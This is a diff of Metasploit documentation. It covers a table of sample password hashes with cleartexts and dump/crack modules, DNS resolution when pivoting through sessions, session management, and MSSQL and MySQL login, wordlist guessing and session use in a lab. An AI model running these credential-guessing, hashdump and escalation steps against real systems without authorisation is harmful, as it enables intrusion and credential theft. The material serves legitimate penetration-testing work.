| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Android (Samsung) SHA1 | samsungsha1 | `D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1` | 1234 | android-samsung-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android (non-Samsung) SHA1 | androidsha1 | `9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5` | 1234 | android-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android MD5 | androidmd5 | `1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5` | 1234 | android-md5 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| OSX 10.4-10.6 | xsha_hashcat | `1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683` | hashcat | xsha | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.8+ | pbkdf2_hashcat | `$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$` | hashcat | PBKDF2-HMAC-SHA512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.7 | xsha512_hashcat | `648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d` | hashcat | xsha512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | |
|
||||
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | |
|
||||
| MediaWiki | mediawiki_hashcat | `$B$56668501$0ce106caa70af57fd525aeaf80ef2898` | hashcat | mediawiki | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (P type) | phpass_p_hashcat | `$P$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (H type) | phpass_h_hashcat | `$H$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| Atlassian | atlassian_hashcat | `{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa` | hashcat | PBKDF2-HMAC-SHA1 | | modules/auxiliary/analyze/crack_webapps |
|
||||
|
||||
# Adding a New Hash
|
||||
|
||||
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
|
||||
|
||||
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
|
||||
1. Add a new identify algorithm to: [framework/hashes.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
|
||||
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
|
||||
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
|
||||
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# Metasploit DNS
|
||||
## Background
|
||||
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
|
||||
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
|
||||
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
|
||||
was more involved than mapping a hostname to an IPv4 or IPv6 address.
|
||||
|
||||
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
|
||||
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
|
||||
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
|
||||
hostnames that the compromised system could.
|
||||
|
||||
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
|
||||
control over the process of DNS queries.
|
||||
|
||||
## The DNS command
|
||||
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands.
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
Current cache size: 0
|
||||
|
||||
Resolver rule entries
|
||||
=====================
|
||||
|
||||
# Rule Resolver Comm channel
|
||||
- ---- -------- ------------
|
||||
1 *
|
||||
. \_ static N/A
|
||||
. \_ 127.0.0.53
|
||||
|
||||
|
||||
Static hostnames
|
||||
================
|
||||
|
||||
Hostname IPv4 Address IPv6 Address
|
||||
-------- ------------ ------------
|
||||
localhost 127.0.0.1 ::1
|
||||
\_ 127.1.1.1
|
||||
localhost.localdomain 127.0.0.1 ::1
|
||||
localhost4 127.0.0.1
|
||||
localhost4.localdomain4 127.0.0.1
|
||||
localhost6 ::1
|
||||
localhost6.localdomain6 ::1
|
||||
```
|
||||
|
||||
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
|
||||
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
|
||||
|
||||
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
|
||||
|
||||
## DNS Resolver Rules
|
||||
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
|
||||
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
|
||||
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
|
||||
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
|
||||
|
||||
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
|
||||
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
|
||||
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
|
||||
how iptables rules can be added to and removed from a specific chain.
|
||||
|
||||
### The Black Hole Resolver
|
||||
The black hole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
|
||||
resolvers defined after it from being used. The black hole resolver is specified by using the `black-hole` keyword.
|
||||
|
||||
### The Upstream Resolver
|
||||
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
|
||||
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
|
||||
be sent.
|
||||
|
||||
### The System Resolver
|
||||
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
|
||||
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
|
||||
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
|
||||
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
|
||||
configured in the rule.
|
||||
|
||||
### The Static Resolver
|
||||
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
|
||||
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
|
||||
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
|
||||
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
|
||||
next resolver that is configured in the rule.
|
||||
|
||||
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
|
||||
|
||||
### Example Rules
|
||||
|
||||
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
|
||||
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
|
||||
other query type.
|
||||
|
||||
```
|
||||
dns add --index 1 --rule * static system 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
|
||||
1.
|
||||
|
||||
```
|
||||
dns add --rule *.lab.lan --session 1 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to drop all queries for `*.noresolve.lan` using the black hole resolver.
|
||||
|
||||
```
|
||||
dns add --rule *.noresolve.lan black-hole
|
||||
```
|
||||
|
||||
## Static DNS Entries
|
||||
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
|
||||
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
|
||||
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
|
||||
is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
|
||||
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
|
||||
address can be associated with multiple hostnames.
|
||||
|
||||
### Example Static Entries
|
||||
|
||||
Define static entries for `localhost` and common variations.
|
||||
|
||||
```
|
||||
dns add-static localhost 127.0.0.1 ::1
|
||||
dns add-static localhost4 127.0.0.1
|
||||
dns add-static localhost6 ::1
|
||||
```
|
||||
|
||||
Remove all static entries for `localhost`.
|
||||
|
||||
```
|
||||
dns remove-static localhost
|
||||
```
|
||||
|
||||
Remove all static entries.
|
||||
|
||||
```
|
||||
dns flush-static
|
||||
```
|
||||
|
||||
## The DNS Cache
|
||||
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
|
||||
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
|
||||
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
|
||||
|
||||
## Configuration Management
|
||||
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
|
||||
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
|
||||
lost when Metasploit exits, unless the `save` command is used.
|
||||
|
||||
### Resetting the Configuration
|
||||
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
|
||||
configuration:
|
||||
|
||||
* Populates the static entries from the host operating system's `hosts` file
|
||||
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
|
||||
resolvers are set from the host operating systems' resolv.conf file
|
||||
|
||||
## Resolving hostnames
|
||||
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
|
||||
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
|
||||
@@ -0,0 +1,62 @@
|
||||
## Sessions Command
|
||||
|
||||
### Session Search
|
||||
|
||||
When you have a number of sessions open, searching can be a useful tool to navigate them. This guide explains what capabilities are available for navigating open sessions with search.
|
||||
|
||||
You can get a list of sessions matching a specific criteria within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
|
||||
|
||||
```
|
||||
|
||||
Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
|
||||
|
||||
```msf
|
||||
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Session ID: 1
|
||||
Name:
|
||||
Type: meterpreter windows
|
||||
Info: WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH
|
||||
Tunnel: 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
|
||||
Via: exploit/multi/handler
|
||||
Encrypted: Yes (AES-256-CBC)
|
||||
UUID: 958f7b976db67d60/x86=1/windows=1/2023-10-19T12:38:05Z
|
||||
CheckIn: 21725s ago @ 2023-10-19 09:26:08 -0500
|
||||
Registered: No
|
||||
|
||||
```
|
||||
|
||||
Of note in the above example, `last_checkin` requires an extra argument. The second argument must be either `greater_than` or `less_than`. The third argument can be a sequence of alternating amounts and units of time (d: days, h: hours, m: minutes, and s: seconds), i.e. `5m2s`, `10d`, or `1d5m`.
|
||||
|
||||
### Killing stale sessions
|
||||
|
||||
If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:
|
||||
|
||||
```msf
|
||||
msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
|
||||
[*] Killing matching sessions...
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
|
||||
2 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52192 (192.168.2.132)
|
||||
|
||||
[*] 192.168.2.132 - Meterpreter session 1 closed.
|
||||
[*] 192.168.2.132 - Meterpreter session 2 closed.
|
||||
msf6 payload(windows/meterpreter/reverse_http) >
|
||||
```
|
||||
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
@@ -3,11 +3,23 @@
|
||||
Microsoft SQL Server (MSSQL) is a relational database management system. Commonly used in conjunction with web applications
|
||||
and other software that need to persist data. MSSQL is a useful target for data extraction and code execution.
|
||||
|
||||
MySQL is frequently found on port on the following ports:
|
||||
MSSQL is frequently found on port on the following ports:
|
||||
|
||||
- 1433/TCP
|
||||
- 1434/UDP
|
||||
|
||||
For a full list of MSSQL modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mssql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mssql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
Environment setup:
|
||||
@@ -26,6 +38,176 @@ use auxiliary/admin/mssql/mssql_sql
|
||||
run rhost=192.168.123.13 username=administrator password=p4$$w0rd sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
|
||||
```
|
||||
|
||||
### Logging in and obtaining a session
|
||||
To log in or obtain an interactive session on an MSSQL instance running on the target, use mssql_login
|
||||
|
||||
```msf
|
||||
use auxiliary/scanner/mssql_login
|
||||
run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
|
||||
```
|
||||
|
||||
The CreateSession option, when set to true, will result in returning an interactive MSSQL session with the target machine
|
||||
on a successful login:
|
||||
|
||||
```msf
|
||||
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
|
||||
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
|
||||
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Stand
|
||||
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MSSQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mssql/mssql_enum
|
||||
auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
auxiliary/admin/mssql/mssql_exec
|
||||
auxiliary/admin/mssql/mssql_findandsampledata
|
||||
auxiliary/admin/mssql/mssql_idf
|
||||
auxiliary/admin/mssql/mssql_sql
|
||||
auxiliary/admin/mssql/mssql_sql_file
|
||||
auxiliary/scanner/mssql/mssql_hashdump
|
||||
auxiliary/scanner/mssql/mssql_schemadump
|
||||
exploit/windows/mssql/mssql_payload
|
||||
```
|
||||
|
||||
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query select @@version;
|
||||
query select user_name();
|
||||
query select name from master.dbo.sysdatabases;
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
|
||||
uild 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive
|
||||
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> select *
|
||||
SQL *> from information_schema.tables
|
||||
SQL *> where table_type = 'BASE TABLE';
|
||||
[*] Executing query: select * from information_schema.tables where table_type = 'BASE TABLE';
|
||||
Response
|
||||
========
|
||||
# TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
|
||||
- ------------- ------------ ---------- ----------
|
||||
0 master dbo spt_fallback_db BASE TABLE
|
||||
1 master dbo spt_fallback_dev BASE TABLE
|
||||
2 master dbo spt_fallback_usg BASE TABLE
|
||||
4 master dbo Users BASE TABLE
|
||||
5 master dbo spt_monitor BASE TABLE
|
||||
6 master dbo MSreplication_options BASE TABLE
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### Link crawling
|
||||
|
||||
Identify if the SQL server has been configured with trusted links, which allows running queries on other MSSQL instances:
|
||||
|
||||
@@ -17,6 +17,12 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search mysql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mysql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment MySQL can either be installed on the host machine or within Docker:
|
||||
@@ -79,6 +85,158 @@ run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session on the Target
|
||||
|
||||
The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session
|
||||
for the MySQL client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session:
|
||||
|
||||
```msf
|
||||
msf6 > use scanner/mysql/mysql_login
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
|
||||
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
|
||||
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
|
||||
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mysql @ 127.0.0.1:4306 >
|
||||
```
|
||||
|
||||
You can interact with your new session using `sessions -i -1` or `sessions <session id>`.
|
||||
You can also use `help` to get more information about how to use your session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MySQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mysql/mysql_enum
|
||||
auxiliary/admin/mysql/mysql_sql
|
||||
auxiliary/scanner/mysql/mysql_file_enum
|
||||
auxiliary/scanner/mysql/mysql_hashdump
|
||||
auxiliary/scanner/mysql/mysql_schemadump
|
||||
auxiliary/scanner/mysql/mysql_version
|
||||
auxiliary/scanner/mysql/mysql_writable_dirs
|
||||
exploit/multi/mysql/mysql_udf_payload
|
||||
